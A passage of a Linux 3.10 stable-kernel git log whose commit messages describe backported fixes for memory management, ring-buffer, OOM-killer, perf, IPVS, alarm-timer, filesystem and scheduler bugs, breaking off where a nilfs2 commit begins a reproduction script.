2 19:47:42 2014 +0100 mm: numa: Do not mark PTEs pte_numa when splitting huge pages commit abc40bd2eeb77eb7c2effcaf63154aad929a1d5f upstream. This patch reverts 1ba6e0b50b ("mm: numa: split_huge_page: transfer the NUMA type from the pmd to the pte"). If a huge page is being split due a protection change and the tail will be in a PROT_NONE vma then NUMA hinting PTEs are temporarily created in the protected VMA. VM_RW|VM_PROTNONE |-----------------| ^ split here In the specific case above, it should get fixed up by change_pte_range() but there is a window of opportunity for weirdness to happen. Similarly, if a huge page is shrunk and split during a protection update but before pmd_numa is cleared then a pte_numa can be left behind. Instead of adding complexity trying to deal with the case, this patch will not mark PTEs NUMA when splitting a huge page. NUMA hinting faults will not be triggered which is marginal in comparison to the complexity in dealing with the corner cases during THP split. Signed-off-by: Mel Gorman Acked-by: Rik van Riel Acked-by: Kirill A. Shutemov Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 9e6687717c4fd7224f63c998527a5292b22cddaf Author: Waiman Long Date: Wed Aug 6 16:05:36 2014 -0700 mm, thp: move invariant bug check out of loop in __split_huge_page_map commit f8303c2582b889351e261ff18c4d8eb197a77db2 upstream. In __split_huge_page_map(), the check for page_mapcount(page) is invariant within the for loop. Because of the fact that the macro is implemented using atomic_read(), the redundant check cannot be optimized away by the compiler leading to unnecessary read to the page structure. This patch moves the invariant bug check out of the loop so that it will be done only once. On a 3.16-rc1 based kernel, the execution time of a microbenchmark that broke up 1000 transparent huge pages using munmap() had an execution time of 38,245us and 38,548us with and without the patch respectively. The performance gain is about 1%. Signed-off-by: Waiman Long Acked-by: Kirill A. Shutemov Cc: Andrea Arcangeli Cc: Mel Gorman Cc: Rik van Riel Cc: Scott J Norton Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 6e8d70f6c94be3036a40f26b766c429d62968d22 Author: Steven Rostedt (Red Hat) Date: Thu Oct 2 16:51:18 2014 -0400 ring-buffer: Fix infinite spin in reading buffer commit 24607f114fd14f2f37e3e0cb3d47bce96e81e848 upstream. Commit 651e22f2701b "ring-buffer: Always reset iterator to reader page" fixed one bug but in the process caused another one. The reset is to update the header page, but that fix also changed the way the cached reads were updated. The cache reads are used to test if an iterator needs to be updated or not. A ring buffer iterator, when created, disables writes to the ring buffer but does not stop other readers or consuming reads from happening. Although all readers are synchronized via a lock, they are only synchronized when in the ring buffer functions. Those functions may be called by any number of readers. The iterator continues down when its not interrupted by a consuming reader. If a consuming read occurs, the iterator starts from the beginning of the buffer. The way the iterator sees that a consuming read has happened since its last read is by checking the reader "cache". The cache holds the last counts of the read and the reader page itself. Commit 651e22f2701b changed what was saved by the cache_read when the rb_iter_reset() occurred, making the iterator never match the cache. Then if the iterator calls rb_iter_reset(), it will go into an infinite loop by checking if the cache doesn't match, doing the reset and retrying, just to see that the cache still doesn't match! Which should never happen as the reset is suppose to set the cache to the current value and there's locks that keep a consuming reader from having access to the data. Fixes: 651e22f2701b "ring-buffer: Always reset iterator to reader page" Signed-off-by: Steven Rostedt Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 976007b4d313e4dfceebeed279406e37a2f5e6f7 Author: Josh Triplett Date: Fri Oct 3 16:19:24 2014 -0700 init/Kconfig: Fix HAVE_FUTEX_CMPXCHG to not break up the EXPERT menu commit 62b4d2041117f35ab2409c9f5c4b8d3dc8e59d0f upstream. commit 03b8c7b623c80af264c4c8d6111e5c6289933666 ("futex: Allow architectures to skip futex_atomic_cmpxchg_inatomic() test") added the HAVE_FUTEX_CMPXCHG symbol right below FUTEX. This placed it right in the middle of the options for the EXPERT menu. However, HAVE_FUTEX_CMPXCHG does not depend on EXPERT or FUTEX, so Kconfig stops placing items in the EXPERT menu, and displays the remaining several EXPERT items (starting with EPOLL) directly in the General Setup menu. Since both users of HAVE_FUTEX_CMPXCHG only select it "if FUTEX", make HAVE_FUTEX_CMPXCHG itself depend on FUTEX. With this change, the subsequent items display as part of the EXPERT menu again; the EMBEDDED menu now appears as the next top-level item in the General Setup menu, which makes General Setup much shorter and more usable. Signed-off-by: Josh Triplett Acked-by: Randy Dunlap Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 220a954e13e7a1c7c477ffa1a85db641721cd1f4 Author: Peter Zijlstra Date: Thu Oct 2 16:17:02 2014 -0700 perf: fix perf bug in fork() commit 6c72e3501d0d62fc064d3680e5234f3463ec5a86 upstream. Oleg noticed that a cleanup by Sylvain actually uncovered a bug; by calling perf_event_free_task() when failing sched_fork() we will not yet have done the memset() on ->perf_event_ctxp[] and will therefore try and 'free' the inherited contexts, which are still in use by the parent process. This is bad.. Suggested-by: Oleg Nesterov Reported-by: Oleg Nesterov Reported-by: Sylvain 'ythier' Hitier Signed-off-by: Peter Zijlstra (Intel) Cc: Ingo Molnar Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c49832e2f040fcb942aefab55df8ddb0d86eaeb0 Author: Jan Kara Date: Thu Sep 4 14:06:55 2014 +0200 udf: Avoid infinite loop when processing indirect ICBs commit c03aa9f6e1f938618e6db2e23afef0574efeeb65 upstream. We did not implement any bound on number of indirect ICBs we follow when loading inode. Thus corrupted medium could cause kernel to go into an infinite loop, possibly causing a stack overflow. Fix the possible stack overflow by removing recursion from __udf_read_inode() and limit number of indirect ICBs we follow to avoid infinite loops. Signed-off-by: Jan Kara Cc: Chuck Ebbert Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7080710b34dc255b0d35f87f0e1c4ac5abfb4d24 Author: Greg Kroah-Hartman Date: Sun Oct 5 14:54:30 2014 -0700 Linux 3.10.56 Signed-off-by: Pranav Vashi commit b7f093c89b5370cc1d9929f0aad5a02ac54252e0 Author: Oleg Nesterov Date: Fri Aug 8 14:19:17 2014 -0700 vm_is_stack: use for_each_thread() rather then buggy while_each_thread() commit 4449a51a7c281602d3a385044ab928322a122a02 upstream. Aleksei hit the soft lockup during reading /proc/PID/smaps. David investigated the problem and suggested the right fix. while_each_thread() is racy and should die, this patch updates vm_is_stack(). Signed-off-by: Oleg Nesterov Reported-by: Aleksei Besogonov Tested-by: Aleksei Besogonov Suggested-by: David Rientjes Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Cc: Li Zefan Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8f70132774a5da9cee1af7a38483231b052bfc93 Author: Oleg Nesterov Date: Tue Jan 21 15:50:01 2014 -0800 oom_kill: add rcu_read_lock() into find_lock_task_mm() commit 4d4048be8a93769350efa31d2482a038b7de73d0 upstream. find_lock_task_mm() expects it is called under rcu or tasklist lock, but it seems that at least oom_unkillable_task()->task_in_mem_cgroup() and mem_cgroup_out_of_memory()->oom_badness() can call it lockless. Perhaps we could fix the callers, but this patch simply adds rcu lock into find_lock_task_mm(). This also allows to simplify a bit one of its callers, oom_kill_process(). Signed-off-by: Oleg Nesterov Cc: Sergey Dyasly Cc: Sameer Nanda Cc: "Eric W. Biederman" Cc: Frederic Weisbecker Cc: Mandeep Singh Baines Cc: "Ma, Xindong" Reviewed-by: Michal Hocko Cc: "Tu, Xiaobing" Acked-by: David Rientjes Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Cc: Li Zefan Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 86f0c3135615f23a0cc2c654fdfa2e7a65680869 Author: Oleg Nesterov Date: Tue Jan 21 15:50:00 2014 -0800 oom_kill: has_intersects_mems_allowed() needs rcu_read_lock() commit ad96244179fbd55b40c00f10f399bc04739b8e1f upstream. At least out_of_memory() calls has_intersects_mems_allowed() without even rcu_read_lock(), this is obviously buggy. Add the necessary rcu_read_lock(). This means that we can not simply return from the loop, we need "bool ret" and "break". While at it, swap the names of task_struct's (the argument and the local). This cleans up the code a little bit and avoids the unnecessary initialization. Signed-off-by: Oleg Nesterov Reviewed-by: Sergey Dyasly Tested-by: Sergey Dyasly Reviewed-by: Sameer Nanda Cc: "Eric W. Biederman" Cc: Frederic Weisbecker Cc: Mandeep Singh Baines Cc: "Ma, Xindong" Reviewed-by: Michal Hocko Cc: "Tu, Xiaobing" Acked-by: David Rientjes Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Cc: Li Zefan Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 6da21dd7aa60eba0086248f3bce71ef904a5c155 Author: Oleg Nesterov Date: Tue Jan 21 15:49:58 2014 -0800 oom_kill: change oom_kill.c to use for_each_thread() commit 1da4db0cd5c8a31d4468ec906b413e75e604b465 upstream. Change oom_kill.c to use for_each_thread() rather than the racy while_each_thread() which can loop forever if we race with exit. Note also that most users were buggy even if while_each_thread() was fine, the task can exit even _before_ rcu_read_lock(). Fortunately the new for_each_thread() only requires the stable task_struct, so this change fixes both problems. Signed-off-by: Oleg Nesterov Reviewed-by: Sergey Dyasly Tested-by: Sergey Dyasly Reviewed-by: Sameer Nanda Cc: "Eric W. Biederman" Cc: Frederic Weisbecker Cc: Mandeep Singh Baines Cc: "Ma, Xindong" Reviewed-by: Michal Hocko Cc: "Tu, Xiaobing" Acked-by: David Rientjes Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Cc: Li Zefan Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a810772224365826b7a51cc054194e4f505c150c Author: Oleg Nesterov Date: Wed Jul 3 15:08:30 2013 -0700 kernel/fork.c:copy_process(): unify CLONE_THREAD-or-thread_group_leader code commit 80628ca06c5d42929de6bc22c0a41589a834d151 upstream. Cleanup and preparation for the next changes. Move the "if (clone_flags & CLONE_THREAD)" code down under "if (likely(p->pid))" and turn it into into the "else" branch. This makes the process/thread initialization more symmetrical and removes one check. Signed-off-by: Oleg Nesterov Cc: "Eric W. Biederman" Cc: Michal Hocko Cc: Pavel Emelyanov Cc: Sergey Dyasly Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Cc: Li Zefan Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 6dee1804e732732043e29c98a6aea71f209516cf Author: Soren Brinkmann Date: Wed Jun 19 10:53:03 2013 -0700 arm: multi_v7_defconfig: Enable Zynq UART driver commit 90de827b9c238f8d8209bc7adc70190575514315 upstream. Signed-off-by: Soren Brinkmann Signed-off-by: Michal Simek Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 612842c4d75e3e4fde9a69cd57593e5ec3ed1256 Author: Jan Kara Date: Tue Nov 5 01:15:38 2013 +0100 ext2: Fix fs corruption in ext2_get_xip_mem() commit 7ba3ec5749ddb61f79f7be17b5fd7720eebc52de upstream. Commit 8e3dffc651cb "Ext2: mark inode dirty after the function dquot_free_block_nodirty is called" unveiled a bug in __ext2_get_block() called from ext2_get_xip_mem(). That function called ext2_get_block() mistakenly asking it to map 0 blocks while 1 was intended. Before the above mentioned commit things worked out fine by luck but after that commit we started returning that we allocated 0 blocks while we in fact allocated 1 block and thus allocation was looping until all blocks in the filesystem were exhausted. Fix the problem by properly asking for one block and also add assertion in ext2_get_blocks() to catch similar problems. Reported-and-tested-by: Andiry Xu Signed-off-by: Jan Kara Cc: Wang Nan Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a0227850059c323cb0aa1f1855fa2387a687f854 Author: Heikki Krogerus Date: Mon Apr 28 15:59:56 2014 +0300 serial: 8250_dma: check the result of TX buffer mapping commit d4089a332883ad969700aac5dd4dd5f1c4fee825 upstream. Using dma_mapping_error() to make sure the mapping did not fail. Signed-off-by: Heikki Krogerus Cc: "Petallo, MauriceX R" Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 6da7527bbdc1ea2a22dc23c4a27ff048352d62f9 Author: Will Deacon Date: Wed Jun 5 11:25:13 2013 +0100 ARM: 7748/1: oabi: handle faults when loading swi instruction from userspace commit 1aa2b3b7a6c4f3dbd3671171113a20e6a6190e3b upstream. Running an OABI_COMPAT kernel on an SMP platform can lead to fun and games with page aging. If one CPU issues a swi instruction immediately before another CPU decides to mkold the page containing the swi instruction, then we will fault attempting to load the instruction during the vector_swi handler in order to retrieve its immediate field. Since this fault is not currently dealt with by our exception tables, this results in a panic: Unable to handle kernel paging request at virtual address 4020841c pgd = c490c000 [4020841c] *pgd=84451831, *pte=bf05859d, *ppte=00000000 Internal error: Oops: 17 [#1] PREEMPT SMP ARM Modules linked in: hid_sony(O) CPU: 1 Tainted: G W O (3.4.0-perf-gf496dca-01162-gcbcc62b #1) PC is at vector_swi+0x28/0x88 LR is at 0x40208420 This patch wraps all of the swi instruction loads with the USER macro and provides a shared exception table entry which simply rewinds the saved user PC and returns from the system call (without setting tbl, so there's no worries with tracing or syscall restarting). Returning to userspace will re-enter the page fault handler, from where we will probably send SIGSEGV to the current task. Reported-by: Wang, Yalin Reviewed-by: Nicolas Pitre Signed-off-by: Will Deacon Signed-off-by: Russell King Cc: Sheng Yong Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d9dc0ffe245307ae35723f3a83f9f0dec83022a0 Author: Florian Westphal Date: Thu Jun 13 17:31:28 2013 +0200 netfilter: nf_conntrack: avoid large timeout for mid-stream pickup commit 6547a221871f139cc56328a38105d47c14874cbe upstream. When loose tracking is enabled (default), non-syn packets cause creation of new conntracks in established state with default timeout for established state (5 days). This causes the table to fill up with UNREPLIED when the 'new ack' packet happened to be the last-ack of a previous, already timed-out connection. Consider: A 192.168.x.52792 > 10.184.y.80: F, 426:426(0) ack 9237 win 255 B 10.184.y.80 > 192.168.x.52792: ., ack 427 win 123 <61 second pause> C 10.184.y.80 > 192.168.x.52792: F, 9237:9237(0) ack 427 win 123 D 192.168.x.52792 > 10.184.y.80: ., ack 9238 win 255 B moves conntrack to CLOSE_WAIT and will kill it after 60 second timeout, C is ignored (FIN set), but last packet (D) causes new ct with 5-days timeout. Use UNACK timeout (5 minutes) instead to get rid of these entries sooner when in ESTABLISHED state without having seen traffic in both directions. Signed-off-by: Florian Westphal Acked-by: Jozsef Kadlecsik Signed-off-by: Pablo Neira Ayuso Cc: Florian Koch Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 9d99466e10c435a6d567df3a2c20c2c41c666e7b Author: Rafael J. Wysocki Date: Mon May 26 13:40:53 2014 +0200 PM / sleep: Use valid_state() for platform-dependent sleep states only commit 43e8317b0bba1d6eb85f38a4a233d82d7c20d732 upstream. Use the observation that, for platform-dependent sleep states (PM_SUSPEND_STANDBY, PM_SUSPEND_MEM), a given state is either always supported or always unsupported and store that information in pm_states[] instead of calling valid_state() every time we need to check it. Also do not use valid_state() for PM_SUSPEND_FREEZE, which is always valid, and move the pm_test_level validity check for PM_SUSPEND_FREEZE directly into enter_state(). Signed-off-by: Rafael J. Wysocki Cc: Brian Norris Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 84c863de03d6aef3c829e712b210ddbefb5b6b8d Author: Rafael J. Wysocki Date: Mon May 26 13:40:47 2014 +0200 PM / sleep: Add state field to pm_states[] entries commit 27ddcc6596e50cb8f03d2e83248897667811d8f6 upstream. To allow sleep states corresponding to the "mem", "standby" and "freeze" lables to be different from the pm_states[] indexes of those strings, introduce struct pm_sleep_state, consisting of a string label and a state number, and turn pm_states[] into an array of objects of that type. This modification should not lead to any functional changes. Signed-off-by: Rafael J. Wysocki Cc: Brian Norris Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7a88e7fe5291b18c89c9cf8619dbf1d2f026141f Author: Julian Anastasov Date: Fri Aug 22 17:53:41 2014 +0300 ipvs: fix ipv6 hook registration for local replies commit eb90b0c734ad793d5f5bf230a9e9a4dcc48df8aa upstream. commit fc604767613b6d2036cdc35b660bc39451040a47 ("ipvs: changes for local real server") from 2.6.37 introduced DNAT support to local real server but the IPv6 LOCAL_OUT handler ip_vs_local_reply6() is registered incorrectly as IPv4 hook causing any outgoing IPv4 traffic to be dropped depending on the IP header values. Chris tracked down the problem to CONFIG_IP_VS_IPV6=y Bug report: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1349768 Reported-by: Chris J Arges Tested-by: Chris J Arges Signed-off-by: Julian Anastasov Signed-off-by: Simon Horman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 9ec0c285f14551d61c1c1567fef77f4aaa867b87 Author: Alex Gartrell Date: Wed Jul 16 15:57:34 2014 -0700 ipvs: Maintain all DSCP and ECN bits for ipv6 tun forwarding commit 76f084bc10004b3050b2cff9cfac29148f1f6088 upstream. Previously, only the four high bits of the tclass were maintained in the ipv6 case. This matches the behavior of ipv4, though whether or not we should reflect ECN bits may be up for debate. Signed-off-by: Alex Gartrell Acked-by: Julian Anastasov Signed-off-by: Simon Horman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f41e416e3b30d3786445e6d17e5560cd1203289a Author: Julian Anastasov Date: Thu Jul 10 09:24:01 2014 +0300 ipvs: avoid netns exit crash on ip_vs_conn_drop_conntrack commit 2627b7e15c5064ddd5e578e4efd948d48d531a3f upstream. commit 8f4e0a18682d91 ("IPVS netns exit causes crash in conntrack") added second ip_vs_conn_drop_conntrack call instead of just adding the needed check. As result, the first call still can cause crash on netns exit. Remove it. Signed-off-by: Julian Anastasov Signed-off-by: Hans Schillstrom Signed-off-by: Simon Horman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a7a5eb38addde9db34c64b6b3e8ec72f315965aa Author: NeilBrown Date: Thu Sep 18 11:09:04 2014 +1000 md/raid1: fix_read_error should act on all non-faulty devices. commit b8cb6b4c121e1bf1963c16ed69e7adcb1bc301cd upstream. If a devices is being recovered it is not InSync and is not Faulty. If a read error is experienced on that device, fix_read_error() will be called, but it ignores non-InSync devices. So it will neither fix the error nor fail the device. It is incorrect that fix_read_error() ignores non-InSync devices. It should only ignore Faulty devices. So fix it. This became a bug when we allowed reading from a device that was being recovered. It is suitable for any subsequent -stable kernel. Fixes: da8840a747c0dbf49506ec906757a6b87b9741e9 Reported-by: Alexander Lyakas Tested-by: Alexander Lyakas Signed-off-by: NeilBrown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 77701a1bb35d288330536e280a6efd7915f8e9e6 Author: Hans Verkuil Date: Tue Aug 26 02:59:53 2014 -0300 media: cx18: fix kernel oops with tda8290 tuner commit 6a03dc92cc2edfa2257502557b9f714893987383 upstream. This was caused by an uninitialized setup.config field. Based on a suggestion from Devin Heitmueller. Signed-off-by: Hans Verkuil Thanks-to: Devin Heitmueller Reported-by: Scott Robinson Tested-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0538a841d3917a5a0148546910f1860e02233b93 Author: Anton Altaparmakov Date: Mon Sep 22 01:53:03 2014 +0100 Fix nasty 32-bit overflow bug in buffer i/o code. commit f2d5a94436cc7cc0221b9a81bba2276a25187dd3 upstream. On 32-bit architectures, the legacy buffer_head functions are not always handling the sector number with the proper 64-bit types, and will thus fail on 4TB+ disks. Any code that uses __getblk() (and thus bread(), breadahead(), sb_bread(), sb_breadahead(), sb_getblk()), and calls it using a 64-bit block on a 32-bit arch (where "long" is 32-bit) causes an inifinite loop in __getblk_slow() with an infinite stream of errors logged to dmesg like this: __find_get_block_slow() failed. block=6740375944, b_blocknr=2445408648 b_state=0x00000020, b_size=512 device sda1 blocksize: 512 Note how in hex block is 0x191C1F988 and b_blocknr is 0x91C1F988 i.e. the top 32-bits are missing (in this case the 0x1 at the top). This is because grow_dev_page() is broken and has a 32-bit overflow due to shifting the page index value (a pgoff_t - which is just 32 bits on 32-bit architectures) left-shifted as the block number. But the top bits to get lost as the pgoff_t is not type cast to sector_t / 64-bit before the shift. This patch fixes this issue by type casting "index" to sector_t before doing the left shift. Note this is not a theoretical bug but has been seen in the field on a 4TiB hard drive with logical sector size 512 bytes. This patch has been verified to fix the infinite loop problem on 3.17-rc5 kernel using a 4TB disk image mounted using "-o loop". Without this patch doing a "find /nt" where /nt is an NTFS volume causes the inifinite loop 100% reproducibly whilst with the patch it works fine as expected. Signed-off-by: Anton Altaparmakov Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 483209c0bd6418602ab6b57e515b86713cdf36e3 Author: Jiri Olsa Date: Thu Sep 12 18:39:36 2013 +0200 perf kmem: Make it work again on non NUMA machines commit 4921e320244e099bdf237fd10428594ce5f5b87d upstream. The commit '2814eb0 perf kmem: Remove die() calls' disabled 'perf kmem' command for machines without numa support. It made the command fail if '/sys/devices/system/node' dir wasn't found. Skipping the numa based initialization in case the directory is not found and continue execution. Signed-off-by: Jiri Olsa Cc: Corey Ashford Cc: Frederic Weisbecker Cc: Namhyung Kim Cc: Paul Mackerras Cc: Peter Zijlstra Link: http://lkml.kernel.org/r/1379003976-5839-5-git-send-email-jolsa@redhat.com Signed-off-by: Arnaldo Carvalho de Melo Cc: zhangzhiqiang Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7070502c645e1c673b560fa88b10cb85289ad319 Author: Cong Wang Date: Tue Sep 2 15:27:20 2014 -0700 perf: Fix a race condition in perf_remove_from_context() commit 3577af70a2ce4853d58e57d832e687d739281479 upstream. We saw a kernel soft lockup in perf_remove_from_context(), it looks like the `perf` process, when exiting, could not go out of the retry loop. Meanwhile, the target process was forking a child. So either the target process should execute the smp function call to deactive the event (if it was running) or it should do a context switch which deactives the event. It seems we optimize out a context switch in perf_event_context_sched_out(), and what's more important, we still test an obsolete task pointer when retrying, so no one actually would deactive that event in this situation. Fix it directly by reloading the task pointer in perf_remove_from_context(). This should cure the above soft lockup. Signed-off-by: Cong Wang Signed-off-by: Cong Wang Signed-off-by: Peter Zijlstra Cc: Paul Mackerras Cc: Arnaldo Carvalho de Melo Cc: Linus Torvalds Link: http://lkml.kernel.org/r/1409696840-843-1-git-send-email-xiyou.wangcong@gmail.com Signed-off-by: Ingo Molnar Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 662cddc7861757f8d50ba56123350da9b7331247 Author: Richard Larocque Date: Tue Sep 9 18:31:05 2014 -0700 alarmtimer: Lock k_itimer during timer callback commit 474e941bed9262f5fa2394f9a4a67e24499e5926 upstream. Locks the k_itimer's it_lock member when handling the alarm timer's expiry callback. The regular posix timers defined in posix-timers.c have this lock held during timout processing because their callbacks are routed through posix_timer_fn(). The alarm timers follow a different path, so they ought to grab the lock somewhere else. Cc: Thomas Gleixner Cc: Ingo Molnar Cc: Richard Cochran Cc: Prarit Bhargava Cc: Sharvil Nanavati Signed-off-by: Richard Larocque Signed-off-by: John Stultz Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c1905d5f6bed2094d2aea59caa82024549b0fe2e Author: Richard Larocque Date: Tue Sep 9 18:31:04 2014 -0700 alarmtimer: Do not signal SIGEV_NONE timers commit 265b81d23a46c39df0a735a3af4238954b41a4c2 upstream. Avoids sending a signal to alarm timers created with sigev_notify set to SIGEV_NONE by checking for that special case in the timeout callback. The regular posix timers avoid sending signals to SIGEV_NONE timers by not scheduling any callbacks for them in the first place. Although it would be possible to do something similar for alarm timers, it's simpler to handle this as a special case in the timeout. Prior to this patch, the alarm timer would ignore the sigev_notify value and try to deliver signals to the process anyway. Even worse, the sanity check for the value of sigev_signo is skipped when SIGEV_NONE was specified, so the signal number could be bogus. If sigev_signo was an unitialized value (as it often would be if SIGEV_NONE is used), then it's hard to predict which signal will be sent. Cc: Thomas Gleixner Cc: Ingo Molnar Cc: Richard Cochran Cc: Prarit Bhargava Cc: Sharvil Nanavati Signed-off-by: Richard Larocque Signed-off-by: John Stultz Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 30ff39d7510b9e4b35c3d698d4aaa86d4432ff39 Author: John David Anglin Date: Mon Sep 22 20:54:50 2014 -0400 parisc: Only use -mfast-indirect-calls option for 32-bit kernel builds commit d26a7730b5874a5fa6779c62f4ad7c5065a94723 upstream. In spite of what the GCC manual says, the -mfast-indirect-calls has never been supported in the 64-bit parisc compiler. Indirect calls have always been done using function descriptors irrespective of the -mfast-indirect-calls option. Recently, it was noticed that a function descriptor was always requested when the -mfast-indirect-calls option was specified. This caused problems when the option was used in application code and doesn't make any sense because the whole point of the option is to avoid using a function descriptor for indirect calls. Fixing this broke 64-bit kernel builds. I will fix GCC but for now we need the attached change. This results in the same kernel code as before. Signed-off-by: John David Anglin Signed-off-by: Helge Deller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ac0c86bf35c9b324879ec71354c64a15376064f5 Author: Anton Blanchard Date: Tue Aug 26 12:44:15 2014 +1000 powerpc/perf: Fix ABIv2 kernel backtraces commit 85101af13bb854a6572fa540df7c7201958624b9 upstream. ABIv2 kernels are failing to backtrace through the kernel. An example: 39.30% readseek2_proce [kernel.kallsyms] [k] find_get_entry | --- find_get_entry __GI___libc_read The problem is in valid_next_sp() where we check that the new stack pointer is at least STACK_FRAME_OVERHEAD below the previous one. ABIv1 has a minimum stack frame size of 112 bytes consisting of 48 bytes and 64 bytes of parameter save area. ABIv2 changes that to 32 bytes with no paramter save area. STACK_FRAME_OVERHEAD is in theory the minimum stack frame size, but we over 240 uses of it, some of which assume that it includes space for the parameter area. We need to work through all our stack defines and rationalise them but let's fix perf now by creating STACK_FRAME_MIN_SIZE and using in valid_next_sp(). This fixes the issue: 30.64% readseek2_proce [kernel.kallsyms] [k] find_get_entry | --- find_get_entry pagecache_get_page generic_file_read_iter new_sync_read vfs_read sys_read syscall_exit __GI___libc_read Reported-by: Aneesh Kumar K.V Signed-off-by: Anton Blanchard Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ef0270b4da7905f9fa414ae2f12e2bae33f1c1f6 Author: Wanpeng Li Date: Wed Sep 24 16:38:05 2014 +0800 sched: Fix unreleased llc_shared_mask bit during CPU hotplug commit 03bd4e1f7265548832a76e7919a81f3137c44fd1 upstream. The following bug can be triggered by hot adding and removing a large number of xen domain0's vcpus repeatedly: BUG: unable to handle kernel NULL pointer dereference at 0000000000000004 IP: [..] find_busiest_group PGD 5a9d5067 PUD 13067 PMD 0 Oops: 0000 [#3] SMP [...] Call Trace: load_balance ? _raw_spin_unlock_irqrestore idle_balance __schedule schedule schedule_timeout ? lock_timer_base schedule_timeout_uninterruptible msleep lock_device_hotplug_sysfs online_store dev_attr_store sysfs_write_file vfs_write SyS_write system_call_fastpath Last level cache shared mask is built during CPU up and the build_sched_domain() routine takes advantage of it to setup the sched domain CPU topology. However, llc_shared_mask is not released during CPU disable, which leads to an invalid sched domainCPU topology. This patch fix it by releasing the llc_shared_mask correctly during CPU disable. Yasuaki also reported that this can happen on real hardware: https://lkml.org/lkml/2014/7/22/1018 His case is here: == Here is an example on my system. My system has 4 sockets and each socket has 15 cores and HT is enabled. In this case, each core of sockes is numbered as follows: | CPU# Socket#0 | 0-14 , 60-74 Socket#1 | 15-29, 75-89 Socket#2 | 30-44, 90-104 Socket#3 | 45-59, 105-119 Then llc_shared_mask of CPU#30 has 0x3fff80000001fffc0000000. It means that last level cache of Socket#2 is shared with CPU#30-44 and 90-104. When hot-removing socket#2 and #3, each core of sockets is numbered as follows: | CPU# Socket#0 | 0-14 , 60-74 Socket#1 | 15-29, 75-89 But llc_shared_mask is not cleared. So llc_shared_mask of CPU#30 remains having 0x3fff80000001fffc0000000. After that, when hot-adding socket#2 and #3, each core of sockets is numbered as follows: | CPU# Socket#0 | 0-14 , 60-74 Socket#1 | 15-29, 75-89 Socket#2 | 30-59 Socket#3 | 90-119 Then llc_shared_mask of CPU#30 becomes 0x3fff8000fffffffc0000000. It means that last level cache of Socket#2 is shared with CPU#30-59 and 90-104. So the mask has the wrong value. Signed-off-by: Wanpeng Li Tested-by: Linn Crosetto Reviewed-by: Borislav Petkov Reviewed-by: Toshi Kani Reviewed-by: Yasuaki Ishimatsu Cc: David Rientjes Cc: Prarit Bhargava Cc: Steven Rostedt Cc: Peter Zijlstra Link: http://lkml.kernel.org/r/1411547885-48165-1-git-send-email-wanpeng.li@linux.intel.com Signed-off-by: Ingo Molnar Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 168d7623b12c1e1ad81016d4158c98a1a826c2c5 Author: Joseph Qi Date: Thu Sep 25 16:05:16 2014 -0700 ocfs2/dlm: do not get resource spinlock if lockres is new commit 5760a97c7143c208fa3a8f8cad0ed7dd672ebd28 upstream. There is a deadlock case which reported by Guozhonghua: https://oss.oracle.com/pipermail/ocfs2-devel/2014-September/010079.html This case is caused by &res->spinlock and &dlm->master_lock misordering in different threads. It was introduced by commit 8d400b81cc83 ("ocfs2/dlm: Clean up refmap helpers"). Since lockres is new, it doesn't not require the &res->spinlock. So remove it. Fixes: 8d400b81cc83 ("ocfs2/dlm: Clean up refmap helpers") Signed-off-by: Joseph Qi Reviewed-by: joyce.xue Reported-by: Guozhonghua Cc: Joel Becker Cc: Mark Fasheh Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5e609539b31008140c4542a9fe050a3d4045c637 Author: Andreas Rohner Date: Thu Sep 25 16:05:14 2014 -0700 nilfs2: fix data loss with mmap() commit 56d7acc792c0d98f38f22058671ee715ff197023 upstream. This bug leads to reproducible silent data loss, despite the use of msync(), sync() and a clean unmount of the file system. It is easily reproducible with the following script: ----------------[BEGIN SCRIPT]-------------------- 